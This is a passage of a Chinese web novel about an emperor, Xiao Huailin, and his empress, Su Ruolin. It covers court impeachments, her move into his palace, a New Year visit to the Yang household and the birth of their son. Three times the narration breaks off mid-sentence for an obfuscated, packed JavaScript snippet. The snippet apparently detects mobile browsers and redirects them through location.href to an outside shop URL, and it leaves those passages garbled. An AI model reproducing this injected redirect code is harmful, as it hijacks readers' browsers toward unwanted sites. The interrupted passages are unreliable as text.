陛下都已经暗示得这么明显了,你还往枪口上撞? 而萧怀琳这么一说,倒是提醒了苏若琳。 她连忙看向杨纨枫:“纨枫,你用过晚膳了吗?” 杨纨枫摇了摇头,含笑看着母亲:“儿子已经跟府里打过招呼,今晚不回去用膳了。” “那怎么行?”苏若琳微微撇眉,语重心长道,“你现在正是长身体的时候,不好好吃饭怎么行?” 末了,她朝儿子招了招手:“跟我们一起去用晚膳吧。” 杨纨枫的那双杏目闪闪发亮,使劲点头:“好!” 他都快一年没和母亲一起用膳了! 萧怀琳:? 不,这并不好! 他用眼神威胁自家弟弟赶紧走,然而后者对于兄长的目光却完全视若无睹,大摇大摆地站起身,来到母亲的另一侧。 “母亲,咱们走吧。” “嗯。”苏若琳那张妍丽的俏脸上露出一个慈爱的笑容,说着拉了拉另一侧的萧怀琳,“走了。” 萧怀琳:...... 好好好,杨纨枫你个臭小子! 萧小狗十分委屈,但是他不敢说。 最后三人一道离开了太极殿。 户部尚书呆呆地看着陛下离去的背影,藏在袖子里的手紧紧地纂成了拳头。 于是翌日早朝,户部尚书直言皇后失德,冲撞陛下处理政务,致使陛下耽误国事,以此弹劾皇后。 此言一出,户部尚书身侧的杨纨枫,还有他身后的杨纨岚,以及武将那边的杨纨玦,全都朝他看了过来。 许多大臣同样不可思议地看向户部尚书。 “致使陛下耽误国事”,他知道这给皇后安的是多么严重的罪名吗! 就差没直说红颜祸水了! 而且他这么大张旗鼓地在早朝上,当着众人的面,尤其是当着杨国公府三位重臣的面弹劾,他知道这么做给自己拉了多少仇恨吗? 他是嫌自己命太长了吗?! 其实户部尚书也实在是被逼急了眼,一时冲动了。 如今年关将近,年前核算完臣子一年的政绩之后,来年就会进行官员调动。 是升还是降,全在这个时候。 户部尚书自认自己的工作还算稳扎稳打,但是他底下有个侍郎太能干了啊! 而且那小子还年轻,还得宠,有那小子在下边卷,他觉得自己在陛下眼里恐怕距离告老归乡也不远了。 户部尚书实在是急得没法子,才会慌不择路。 殊不知他刚好触碰到了萧怀琳的逆鳞。 不过也有官员早就想着弹劾皇后,打压杨国公府,如今户部尚书愿意做那出头鸟,他们乐见其成。 见此机会,有大臣悄悄暗示自己的同僚,党羽之间迅速达成共识,于是不少大臣紧随其后,跟着户部尚书一起弹劾皇后。 萧怀琳缓缓地笑了。 他好整以暇地看着户部尚书:“那依你所见,该如何处置皇后呢?” 户部尚书见到这么多人居然都跟着他一起弹劾,顿时也明白了自己太过鲁莽,如今被人当枪使了。 他此时是万分后悔,可是如今已经骑虎难下了。 最后户部尚书顶着萧怀琳如深渊一般深不见底的目光,擦掉额头的冷汗,小心翼翼道: “臣岂敢处置娘娘?只是依臣之见,娘娘专宠后宫,实在不该。” “纵观历代君王,皆后宫三千,雨露均沾,如今年底将至,而娘娘又恰巧怀有身孕。”户部尚书说着拱手行礼,“臣以为,待到明年开春,陛下也应广开选秀,充盈后宫。” 户部尚书觉得他实在是挑了一个完美的说辞。 充盈后宫,为皇家开枝散叶本就是皇帝的职责,而且一旦后宫的妃嫔多了,有那么多年轻貌美的妃嫔侍寝,陛下的注意力可不就被分散了? 届时皇后娘娘依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129606|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧是皇后娘娘,红颜祸水的祸根也解决了,简直就是一石二鸟。 果然,此言一出,立即引起了无数朝臣的赞同。 他们的想法和户部尚书大体相同,皇帝本就应该充盈后宫,况且为皇帝选纳嫔妃也是皇后的职责。 当然,更重要的是,他们不能看着杨国公府因为皇后的专宠一家独大。 陛下就连对皇后的继子们都能如此看重,倘若他们日后送进宫里的女儿,也能得到陛下如此宠爱,那简直…… 简直想想就让人艳羡啊。 诸臣越想越觉得这实在是可以,顿时,附和户部尚书的人越来越多。 就在这时,百官最前排响起了一道冷喝:“你也知道娘娘怀有身孕?” 祝贤盛睥睨了他一眼,那目光犀利得仿佛能将他千刀万剐:“娘娘凤体所怀的龙嗣乃是陛下的第一个孩子,这一胎若是皇子,那就是大楚的储君,万万不得有误。” “选秀之事繁琐冗杂,需得消耗太多精力,等到来年开春,娘娘的身子越来越重,若是因为选秀之事伤到凤体,更甚至动了胎气,户部尚书能担这个责?” 户部尚书慌忙跪下:“微臣不敢。” 祝贤盛冷笑,锐利的目光依次瞥向附和的其他人:“那其他人,可有能担这个责的?” 太和殿内跪倒一片:“微臣不敢!” 坐在祝贤盛左侧张辅之张了张嘴。 其实他也觉得陛下应该多为皇家开枝散叶,毕竟这么优秀的天赋血脉,可是历经了两代君王,好不容易才等来的。 他真怕皇子生少了,万一下一代也是个庸碌之辈可怎么办。 就向高祖和他儿子忠和帝一样。 然后忠和帝又生了个险些把大楚江山霍霍没的先帝。 只是看着祝贤盛严厉的样子,张辅之到底是没开这个口。 ……算了,这件事等回头,他私底下找老祝说说吧。 彼时高坐在龙椅上的萧怀琳正眯着眼睛,将下边跪倒一片的大臣们都扫了一遍。 他最近也实在是太累了,都没空管这些个在背地里折腾挑事的玩意了。 太极殿距离若琳的椒房殿实在是有些远,每日光是来回,都能开个小会了…… 等等,距离太远? 萧怀琳的那双凤目蓦地一亮。 他想到了一个好办法。 于是他微微一笑,朗声道:“皇后身怀六甲,来往太极殿确实不太方便,刘尚书的提醒,朕已明白,都起来吧。” 这算是给群臣们一个台阶下了。 于是那些跪在地上的大臣纷纷高喊着“谢陛下”,随后站起身。 这件事最后也没说怎么办,当然其实大多数臣子也没指望着陛下能怎么办。 若是陛下真有选妃的心思,能等到大婚都一年了还不选秀? 陛下对皇后娘娘,是真的宠爱啊。 只是也有一部分大臣感到奇怪,陛下在早朝上说得那一席话,是个什么意思? 皇后娘娘来往太极殿不方便? 难道陛下要禁止娘娘步入太极殿吗? 对此,萧怀琳的回答当然是,不可能。 他不仅不会禁止,反而用了整整三日的时间软磨硬泡,终于让苏若琳答应搬去太极殿住。 既然来往太极殿和椒房殿来过麻烦,那他就和若琳一起住在太极殿,这样以后早中晚膳他还能和他的若琳一起吃。 简直完美! 其实苏若琳是不太愿意和心上人住在一起的。 她想有自己的隐私啊! 虽然那小子一闲着就会黏着她,每天夜里也永远都睡在她的椒房殿,几乎和住在一起也没什么区别。 可是名义上到底是不一样的! 可是这混蛋实在是太磨人了,也太会撒娇装可怜了! 他就是看准了她吃这一套,总是以退为进,每次都能拿捏她呜呜呜。 最后苏若琳只好住进了太极殿的内殿。 许是因着怀孕的缘故,苏若琳最近总是犯迷糊。 都说一孕傻三年,苏若琳刚开始搬进太极殿的时候还不太习惯,总会下意识地以为她还在自己的椒房殿。 于是有一次早朝过后,萧怀琳正和几个大臣在外殿开会,还没睡醒的苏若琳便打着哈欠走了出来。 152. 番外三:过年(下) 当她从后门走出来的时候,登时就和几个大臣看了个对眼。 而彼时的诸位大臣原本都在聚精会神地开会,一听到安静的屋内居然响起了哈欠声,不由得扭过头去看向声音的来处。 于是他们就看到了,母仪天下的皇后娘娘居然只着一身素净的中衣,未施半点粉黛,那一头乌黑的秀发也随意地披散着,头上连个最简单的簪子都没有,就这么直直地走了进来。 诸位大臣纷纷看直了眼。 原本睡眼惺忪的苏若琳蓦然惊醒,然后陷入了沉默。 沉默过后,她猛地转过身,落荒而逃。 逃至半路,还不小心摔倒了。 于是走廊里很快响起了一声痛呼,紧随其后还有绿俏的喊声:“娘娘!” 听到爱人的痛呼,萧怀琳几乎是立刻就站起身,而后人影一闪,就跑了出去。 随后他便见到他的爱人正倒在地上,痛苦地捂着肚子。 一旁的绿俏是想扶却又不敢扶,生怕扯到娘娘的凤体,动了胎气。 萧怀琳连忙过去抱起爱人,焦急地往内殿赶去。 “传太医,去传太医!” 太医匆忙地赶来,给苏若琳把过脉,最后叹了口气:“娘娘本就胎像不稳,这一跤更是动了胎气,错非是娘娘已经出了三个月,否则……” 剩下的太医没有说,但是大家都已经明白了。 最后太医开了几服保胎的药方,再三嘱咐娘娘需要静养,才终于离开。 等到太医离开以后,苏若琳抬起头看着正坐在自己榻前,面色阴沉得宛若雷云一般的萧怀琳,拽了拽他的袖子,小声道:“对不起……” 闻言,萧怀琳连忙回过神,看着爱人虚弱的模样,心疼地握住她那微凉的玉手:“傻瓜,这事又不是你的错,你道什么歉?” 他这般说着,那双秀丽的风目中闪过一丝凶狠:“那几个大臣真是好大的胆子,等回头我好好收拾他们。” 苏若琳哭笑不得。 这事明明是她自己不注意,披头散发地就出来;也是她自己逃跑的时候不小心摔倒了,才动的胎气。 关那几个大臣什么事? 这可真是无妄之灾啊。 她拉了拉萧怀琳的衣袖,劝道:“这事是我自己的责任,你别迁怒到人家。” 一听这话,护犊子的萧小狗简直要心疼坏了,他将心上人落在枕头上的发丝别回脑后,眼里满是自责。 “这事哪里是你的责任?真要说起来,是我非要让你搬来太极殿的,应该怪我才对。” 这倒是没错。 苏若琳赞同地点了点头,那双秀丽的眼眸娇嗔地瞪了心上人一眼,朝着他轻哼道:“没错,就怪你!” 萧怀琳的脸上这才露出了温柔的微笑,他低头吻了吻爱人的脸颊,目光宠溺:“好,怪我。” 这件事在后宫掀起了一阵不小的波澜,事发后,整座太极殿伺候的宫人都战战兢兢,生怕受牵连。 不过帝后二人亲昵了一阵之后,这事就这么过去了,谁也没有问责。 于是宫人们都松了口气,也感谢帝后的仁慈。 毕竟当初先帝还在时,莫要说娘娘怀孕动了胎气,哪怕是身体康健,只是不小心磕碰了一下,一整个宫殿的宫人都会得个“照顾不周”的罪名而被...... 皇宫里的宫人都在庆幸没有被问罪,只是到了外臣们那里,反而要问责皇后了。 这时朝臣们才明白,原来陛下先前说的皇后娘娘往来太极殿不方便,竟是想要娘娘直接住在太极殿! 陛下可真是疯了,娘娘入主中宫还不够吗?还想要娘娘入主太极殿?! 于是翌日早朝,便有无数朝臣义愤填膺地跪在地上,再次弹劾皇后。 这一次,萧怀琳就没有那么好脾气了。 他冷笑道:“人,是朕让她住进来的,你们若是真要弹劾的话,不应该弹劾皇后,而是该弹劾朕!” 这下,跪在地上的群臣都陷入了沉默。 萧怀琳又看向李公公:“你跟他们说说,昨日都发生了什么?” 李公公清了清嗓子,尖声道:“娘娘昨日不慎摔倒,动了胎气,险些危及龙嗣!” 这声音因着尖锐,清晰地响彻整个大殿,给一众朝臣的心里敲响了一记警钟。 随后,萧怀琳从龙椅上站了起来,森寒的目光掠过跪倒在大殿的每个人: “如今年关将近,朕以为,诸位爱卿应该都想过个好年吧?” “那么,为了朕和诸位爱卿都能过个好年。”萧怀琳说着拂袖离去,“你们最好都给朕消停些!” “散朝!” 李公公眼见着陛下扔下这句话就走了,连忙高声喊道:“散朝——” 然后匆忙跟随陛下离去。 剩下一众朝臣面面相觑。 这还是他们第一次见陛下动怒成这个模样。 最后朝臣们摇头叹息着离开,杨纨枫站在原地,冰冷的目光扫过方才弹劾苏若琳的每个人。 两次弹劾母亲的朝臣,他都记下来了。 等回头仔细比对一番。 他倒要看看,是哪些人在暗中推波助澜、浑水摸鱼。 · 经此一事后,那些背地里搞事的党羽当即消停了不少。 陛下如今已经震怒了,若是再在虎口里拔牙,保不准陛下就能连同杨尚书年底加个班,让他们直接回老家去过年,以后都不用回来了。 更甚者,有些人暗地里做着些见不得光的事,若是被查出来,那他怕是老家也不用回了。 直接跟着杨统领走一趟,去牢里待完下半辈子吧。 而苏若琳摔倒动了胎气的事,也很快传到了如今的杨国夫人——秋姨娘的耳中。 她火急火燎地赶去皇宫,这才知道苏若琳居然已经从椒房殿搬去了太极殿。 可太极殿那是陛下住的地方啊! 秋姨娘站在太极殿前踌躇了良久不敢进去,最后还是苏若琳派绿俏把人给请了进来。 秋姨娘进了内殿,仔仔细细地把苏若琳全身都瞧了一遍,又问她哪里还感觉不舒服,太医又是怎么说的。 苏若琳费了好半天才把人安抚住了,秋姨娘心有余悸地叹了口气,又派身边的丫鬟把她带来的东西递过来。 “这个,这个叫安神香,用了许多能让人睡得踏实的药材。”秋姨娘说着举起手里的香包,“臣妾已经找芷若看过了,有了身孕的女子啊用着没问题。” 她说着又朝另一个丫鬟摆了摆手,让她把手里的陶罐拿过来:“这个是臣妾做的酸笋卤肉,酸儿辣女,正好娘娘平日里也爱吃酸的,多吃一些,争取给陛下生个大胖小子!” 苏若琳干笑了两声,这个生男生女还真不是她说了算的,这事其实得看萧怀琳那小子。 不过她还是高高兴兴地收下了。 等到秋姨娘把那一大堆东西都交代完,苏若琳跟她说起了要回杨国公府过年的事。 秋姨娘诧异道:“那陛下能同意吗?” 哪有嫁了人的媳妇过年不在夫家过的,而且娘娘要回杨国公府,连回娘家都算不上。 但其实对于苏若琳而言,比起苏国公府,杨国公府才更像娘家。 她含笑道:“怀琳同意了,等过年的时候,他跟我一起回去。” “啊?!”这可把秋姨娘吓坏了。 陛,陛下要来他们家过年?! 苏若琳笑着点了点头:“对,反正他也举目无亲,两个人待在皇宫里怪冷清的,不如一起回国公府,热闹热闹。” 话,话是这么说没错,但那可是皇帝啊! 秋姨娘当初被扶正封做杨国夫人的时候,都险些吓得腿软,知道能直接觐见皇后以后,她翌日便匆匆来找苏若琳,抓着后者的手心神不宁地念叨了许久。 还是苏若琳拉着人安慰了好半天,又说了些“你若是日后有什么不明白、怕办不好的,都可以直接来宫里找我。”之类的话,才把人安抚住的。 秋姨娘从未想过自己有一日能从妾室变成正妻,甚至还能有诰命。 她也清楚地知道,自己能有今日,都是娘娘一手把她抬起来的。 因此,哪怕纨枫、纨岚和纨绫仍旧喊她姨娘,她也毫无怨言,甚至觉得理所应当。 在她的心里,娘娘永远都是她的主母,是杨国公府的顶梁柱。 可现在,她的主母说要把皇帝带回家来过年! 秋姨娘吓得手都不知道往哪放,就听见红烛进来禀告:“娘娘,陛下来了。” 闻言,秋姨娘浑身打了一个激灵,便听得身后响起了一个温润的声音:“你们在聊什么呢?” 苏若琳抬起头看着迎面走来的心上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129607|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,含笑道:“和杨国夫人一起商量回国公府过年的事。” 秋姨娘这才如梦初醒,慌张地转过身想要跪下行礼。 却在转过身看到萧怀琳那张俊秀面容的瞬间,彻底呆住了。 大大大大小姐?! 从前萧怀琳回杨国公府的时候,一直都戴着面具,不过自从那日大婚以后,他便觉得,以后不再有那个必要了。 方才他回内殿的时候,自然是知道秋姨娘在里面的。 不过既然早晚有那么一遭,何况他和若琳现在连孩子都有了,生米早就煮成熟饭,也就没必要再避讳着了。 此时见着杨国夫人僵在原地,连行礼都忘记了,侍奉在侧的李公公抬起手想要轻咳一声,提醒杨国夫人快些回神。 但却被萧怀琳拦了下来。 随后,萧怀琳看着面前的秋姨娘,那张俊俏中已经透着几分成熟的脸上,缓缓露出了一个温和的笑容。 “姨娘,许久不见。” 秋姨娘觉得她此刻一定是在做梦。 这梦怎么还乱七八糟的,大小姐变成了男子,娘娘还嫁给了大小姐? 这是什么奇怪的笑话。 一定是她昨夜入睡的方式不太对。 秋姨娘狠狠地掐了一把自己的脸蛋,想要让自己醒过来,重新睡一次。 登时,剧烈的痛感自脸上传来,可是眼前的景象没有任何的变化。 她又掐了自己一把。 ......为什么还是没有变化。 最后还是苏若琳笑着拉了拉她的手:“别掐了,你没做梦,都是真的。” 秋姨娘:?!!! 最后她已经忘记了自己是怎么出的宫,又是怎么回了国公府的了。 直到翌日她从睡梦中醒来,拉着贴身丫鬟的手,又问了一遍她昨日有没有去皇宫,才知道昨日发生的都是真的。 这,这...... 不知道用了多久,秋姨娘才勉强强迫自己接受了这个事实。 大小姐居然是男子,只是从小被当作女子长大,后来失踪其实是去了宁安王府,最后又当上了皇帝。 而且他还喜欢上了自己的继母。 这其中有太多的未知和疑惑,可是秋姨娘不敢问。 她深知好奇心害死猫,知道的越少,就越安全。 只是如果娘娘是带着大小姐回府过年,一旦这么想的话,好像...... 好像也没那么紧张了。 那,那就先这么想吧! 总之先想好怎么过这个年再说! 秋姨娘这么想着,热火朝天地在府里准备着。 终于到了除夕那日,一辆华贵精致的马车自午门出,行驶过白茫茫的街道,最后停在了杨国公府的门前。 待到马车缓缓停稳以后,一个身着墨蓝色华服的年轻男子下了马车。 在男子那身墨蓝色的衣袍上,用暗纹绣着五爪祥龙的样式,腰间还挂着一个墨蓝色的鸳鸯香囊。 男子的双脚在雪地里站稳,随后他转过身,将马车上的妻子抱了下来。 只是他将爱人抱下来后,却并未将爱人放到地上,而是就这么抱着怀里的爱人,望着面前的那两扇朱红色的大门。 大门上贴着两幅红对联,看字迹,想必是纨枫亲手书写的; 大门的两侧还挂着红灯笼,如今正发着明亮的红光,看起来喜气洋洋; 而在大门的正上方,则挂着一块赤金色的牌匾。 牌匾上用着不同于对联上,但是同样苍劲有力的字体,写着“杨国公府”四个大字——那是他亲笔题的。 上面还用他用私印落的款呢。 他出神地望着眼前的一切。 今日,他不是以陌生人的身份来造访杨国公府的。 他是以,这个家里的一员的身份,来回家过年的。 苏若琳含笑看着心上人,不禁伸出手捏了捏他的鼻子:“快进去吧,咱们回家了。” 萧怀琳的全身都在微微颤抖。 ......是啊,他回家了。 他低下头轻吻了吻爱人的额头,嘴角不由自主地勾起了一抹笑意,用力地点了点头。 “好。” 而后他抬起腿,迈着坚定的步伐,朝面前的那扇大门走去。 萧怀琳,杨婉枝,我回家了。 153. 番外四:长子降生 翌年五月,鸟语花香。 随着太极殿内响起了第一声婴儿的啼哭,稳婆和宫女们惊喜地喊道:“生了,娘娘生了!” “是皇子,是皇子!” 登时,那些跟着萧怀琳守在屋外的宫人纷纷跪了下来,面露喜色:“恭喜陛下,贺喜陛下!” “恭喜陛下喜得皇子!” 这可是陛下的第一个孩子,还是皇后娘娘所出,是当之无愧的嫡长子。 若是不出意外的话,定然会被立做储君的! 如今皇长子平安降生,众人都替陛下高兴。 然而此时此刻真正应该高兴的萧怀琳,脸上却不见半分欣喜。 他焦急地盯着面前严丝合缝的门,望眼欲穿。 已经生完了吗? 屋里的宫女和稳婆既然都报了喜,孩子平安降生,那若琳应当也是无事的吧...... 他这般想着,稳婆已经抱着襁褓中的婴儿走了出来。 她看着迎面走来的陛下,脸上露出了谄媚的笑容:“恭喜陛下喜得皇子!” 整个大楚谁人不知,陛下为了皇后娘娘空置六宫? 对于妻子尚且如此疼爱,那么对于这个刚降生的嫡长子,陛下怎么也得抱过去好好稀罕稀罕吧。 稳婆这么想着,伸出手就要把怀里的婴儿往前递。 结果萧怀琳就擦着她的身侧走了过去,连个眼神都不带分给她的。 稳婆:啊? 她回过头,便见到陛下心急如焚地走到门前,伸手就要把门推开。 稳婆连忙小跑着挡在萧怀琳面前:“陛下,不能进去啊!” “女人生子乃大不吉,如今娘娘这才生产完,屋内也不干净,晦气得很,陛下进去当心妨碍天子龙气啊!” 萧怀琳瞪了她一眼,目光森寒:“给朕让开。” 被天子这么一瞪,稳婆顿时吓得双腿发软,李公公连忙上前把她拉开,小声道:“陛下关心娘娘,你就别多事了。” 稳婆费了好半天才缓过神来。 她着实是震惊啊。 她给满京城不下百家的名门勋贵接生过孩子,经验丰富,也算是有名了,可她当稳婆这么多年,还是第一次见过陛下这样的。 别人家的妻妾生孩子,丈夫都嫌晦气,有的甚至把妻妾打发到庄子里去生,为得就是避免沾染霉运。 怎么这陛下还往屋里闯啊? “那......”稳婆抱着怀里的婴儿,脸上有些尴尬,“那这皇子......” 第一次见到没有长辈接的孩子啊! 要不她把孩子再抱进去? 这时,不远处响起了一个苍老的声音:“把孩子抱过来我看看。” 稳婆连忙转过头,这才发现在门廊的柱子前,居然还倚着一位须发花白的老人。 那老人看起来得有七十多了,但鹤发童颜,精神很好,身着一袭青衣,腋下还拄着拐,竟是个瘸子。 稳婆有些迟疑地看向李公公,这位老人是谁? 李公公连忙从背后推了她一把,小声提醒道:“这位可是当朝的右丞相,皇后娘娘的祖父,你快去啊!” 这稳婆也算是京城小有名气的人物了,怎地这点眼力见都没有? 闻言,稳婆赶忙抱着孩子来到祝贤盛面前,后者就着腋下的拐缓缓抬起双臂,想要去接孩子。 身侧的小太监见状,连忙伸出手把拐稳稳地扶住:“祝相,您小心些。” 稳婆小心地将孩子递给祝贤盛,一听右丞相原来姓祝,脸上当即露出了一个谄媚的笑容:“恭喜祝相喜得曾孙!” 祝贤盛微微点了点头,娴熟地将婴儿抱在怀里。 小家伙才刚出生,一张小脸皱巴巴的,睁着一双单纯的大眼睛茫然地看着他,偶尔张开小嘴巴吐出个泡泡,看起来格外讨喜。 望着婴儿安静乖巧的模样,祝贤盛的脸上不由得露出了慈爱的微笑。 这孩子和小妮子刚出生那会儿可真像啊。 彼时,萧怀琳已经推开殿门走了进去。 方才稳婆说的那些,什么吉利不吉利的,他根本就不在乎。 若真有晦气,他的若琳生孩子原本就很危险了,如今再染上霉运,岂不是更危险? 若是他身上真有什么天子龙气,那他宁愿多用一些这龙气,去驱除霉运,好好庇佑自己的爱人平安。 萧怀琳是这么想的,因此苏若琳最开始生孩子的时候,他就想进去了。 结果被宫人们死死地拦住。 最后还是太医说了句:“产房之内不可人多,人多则语多喧哗,产母之心必惊,惊则心气虚怯,至产时多致困乏。” 这才把他给按了下来。 那既然现在孩子都已经生完了,他再进去肯定不会再惊扰到若琳了吧! 他这般想着,一只脚已经踏进了屋里。 顿时,一股浓重的血腥味扑面而来。 萧怀琳不由得心一惊:“若琳?!” 随后他便看到,他心心念念的爱人如今正躺在床榻之上,身上盖着厚重的被子,此刻听见他的喊声,缓缓扭过头来看向他。 萧怀琳连忙来到榻前,见到爱人苍白的脸上满是虚弱和疲惫,心疼得止不住发颤:“还疼吗?” 先前他在门外守着,听见了爱人生孩子时凄厉的惨叫,喊得他心惊。 虽然早就听说过生孩子很疼,可是他完全没有想到,居然会这么疼。 爱人的每一次痛喊,都宛若一把尖刀,剖在他的心上。 彼时苏若琳已经连开口讲话的力气都没有了。 她重重地呼出一口浊气,而后微微点了点头。 怎么可能会不疼啊! 生完孩子,子宫还要收缩,把十个月没来的月经一次性都排干净......各种各样的事,样样都有得疼呢! 而她面前的萧怀琳听到爱人居然还在疼,当即就慌了:“怎么生完孩子还痛?” 他说着便转过身:“太医呢,让太医进来!” 苏若琳觉得自己已经没有笑的力气了,但是看着面前的傻小子,她还是没忍住笑了出来。 她看着抬腿就要跑出去的心上人,连忙拉住了他的手:“没事的……这些疼,都是正常的。” 幸好这孩子没有太折腾人,她可是听说,有些难产的,生孩子时会把那处撕开一道巨大的口子,甚至严重的会在子宫里都留下伤口。 那才是真的疼。 萧怀琳闻言,终于松了口气。 他将爱人的玉手紧紧包裹在手心里,俯下身轻吻了吻爱人的额头,眉眼间皆是心疼:“若琳,你受苦了。” 为了他们的孩子,也为了他,辛苦了。 心上人的轻吻和温柔的话语宛若一股暖流,抚过苏若琳疲惫的身体,让她的心里终于有了一丝欣慰。 她不禁小声抱怨道:“生个孩子可真不容易。” ......对了,说到孩子她才刚想起来,孩子长什么样,她还没看到呢。 苏若琳不禁扭过头左右环顾四周,并没有看到那个幼小的身影。 她连忙推了推面前的萧怀琳:“我儿子呢?” “儿子?”萧怀琳微微一愣,然后猛地一拍脑袋,“哦,对,儿子!” 他方才光顾着爱人的安危,把孩子都给忘了。 “孩子被稳婆抱到外面去了。”萧怀琳说着连忙站起身,“你等一下,我去把孩子抱回来。” 苏若琳看着心上人匆匆离去的身影,有些哭笑不得。 这小子平时也没那么傻啊,怎么今日傻里傻气的。 等到萧怀琳急匆匆地从屋里出来的时候,恰巧杨国公府的众人也都到齐了。 秋姨娘从祝贤盛的手里接过小家伙,眉目间满是欣喜:“哎哟,这小家伙和娘娘长得可真像。” 杨纨枫瞥了小家伙一眼,默默道:“......一点也不像。” 母亲长得美若天仙,这个小子长得皱巴巴的。 这么丑,哪里比得上母亲的一根头发? 杨婉莹看着皱成一团的小家伙,纳闷道:“长得像母亲吗,皱巴巴的,完全看不出来。” 杨纨枫赞同地点了点头。 秋姨娘不由得含笑解释:“刚出生的孩子都这样,你们小时候也是这样的。” 杨纨岚戳了戳小家伙的脸蛋,顿时,一股柔软的触感从指尖传来,好像戳在棉花上一样。 他那双桃花眼微微发亮,不由得惊奇道:“哇,好软!” “软吗!”已经六岁的杨纨绫兴奋地问道。 他奋力地踮起脚尖,也想要看一看秋姨娘怀里的小家伙,结果因为个子不够,费了半天劲都没能看到一点。 最后他撅起小嘴,使劲跺了跺脚,然后拉了拉身侧杨纨玦的衣袖:“二哥抱,我也要看看小弟弟!” 杨纨玦失笑着把自家弟弟抱了起来。 “哇!”杨纨绫扶着兄长的肩膀,低头看着襁褓里的弟弟,一双水汪汪的大眼睛里满是惊奇,“他好小!” 而小家伙似是也在好奇地看着他,张开小嘴巴吐了个泡泡。 “弟弟吐泡泡了!”杨纨绫指着弟弟欢呼,“我也有弟弟了,以后也有人喊我哥哥了!” 秋姨娘不禁笑着揉了揉杨纨绫的头:“是啊,纨绫也要当哥哥了,以后可要照顾好弟弟啊。” “我会的!”杨纨绫使劲点了点头,“我会带着他一起玩,有好吃的都分给他!” 众人都笑了。 祝贤盛拄着拐走了过来,不轻不重地拍了下杨纨绫的头:“整日光想着玩。” 对于这个从小看到大的曾孙,他的态度显然比纨枫和纨岚两个要宽容得多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被这般注视着,萧怀琳的脸有些不自在地泛红:“若琳她刚生完孩子......你们要进去看看吗?” 杨纨枫点了点头,抬腿就要朝着房门走去,却被秋姨娘给拽住了。 “女人生孩子都很累的,今日就先让娘娘好好休息吧。” 杨纨枫眼巴巴地看着房门,最后默默地叹了口气。 那好吧,不打扰母亲休息,那他明日再来。 秋姨娘见此,这才看向萧怀琳,含笑道:“知道娘娘和小殿下母子平安,臣妇这心里就踏实了,今日臣妇和孩子们就先回去了,等明日再来看望娘娘。” 萧怀琳略微颔首,吩咐一旁的李公公亲自送他们出宫。 李公公恭敬地应了声,上前道:“几位跟奴才这边走。” 彼时祝贤盛也已经拄着拐离开,知道小妮子和孩子母子平安,他也放下心了。 末了,萧怀琳抱着怀里的小家伙重新走进殿内。 他径直来到爱人的榻前,献宝似地把孩子放到爱人的身边,笑道:“若琳,看,我们的儿子!” 苏若琳勉强恢复了些力气,她缓缓侧过身,看向襁褓里乖巧的小家伙,虚弱而又妍丽的脸上浮现出了温柔的笑意。 这可是她十月怀胎,最后费了好大劲才生出来的孩子啊。 萧怀琳也低下头,看着襁褓里的小家伙。 从刚才稳婆把孩子抱出来到现在,他终于认真看了小家伙第一眼。 嗯,他的儿子怎么…… 皱巴巴的? 他微微皱眉,捏了捏小家伙皱成一团的小脸:“怎么这么皱?” 苏若琳不禁笑出了声:“小孩子刚生下来都是这样的,过几天就长开了。” 萧怀琳“哦”了一声,原来是这样。 他看着榻上小小的一团,心中洋溢起了一种奇异的感觉。 这时他和若琳的第一个孩子。 这孩子身上流淌着他和若琳的血,他亲眼看着他的若琳被摸出喜脉,然后肚子慢慢变大,从去年八月份开始,历经了一整个寒冬,终于在今日降生。 萧怀琳就这么看着孩子,忽地,他的脑海中浮现出了一个名为“家”的字眼。 不是杨国公府的那个家,而是一个小家,一个只属于他们三个人的小家。 他们三个人的家…… 他的爱人,给他活下去的意义;而这个小家伙的到来,给了他一个真正的家。 萧怀琳这般想着,深情地看着躺在榻上的爱人,又看了一眼爱人身侧的儿子,目光温柔。 小家伙,欢迎来到我们的家。 154. [锁] [此章节已锁] 皇后娘娘成功诞下皇长子的事情很快为百官知晓。 没过多久,萧怀琳便下旨,立刚出生的小家伙为储君。 因着先前苏若琳生孩子时的痛喊声太过惨烈,此后一连数月,人参燕窝等补身子补气血的药材吃食就没往太极殿断过。 小家伙生孩子的时候没有太折腾人,生下来就开始折腾了。 ——他不喝奶娘的奶,只喝苏若琳的。 于是小家伙半夜睡醒了喊饿,宫女只能把孩子抱过来。 但好在苏若琳睡得沉,夜里向来都是睡在外侧的萧怀琳下榻去接孩子,然后把孩子放到她身边,小家伙自己就能含住乳|头吃奶。 可这一次两次哭也就算了,天天半夜被吵醒,这谁受得了啊? 最重要的是,萧怀琳每日都还得早起上早朝,上完早朝还要处理公务,根本没办法补觉。 有一次,他把孩子抱到爱人身边后,止不住地伸出手打了个哈欠,捏了捏儿子的脸蛋:“你可真够折腾人的。” 他也许是困得实在不行了,没控制好力道,又或许是这一下确实带着几分怒意,总而言之,小家伙被他捏疼了。 随后...... 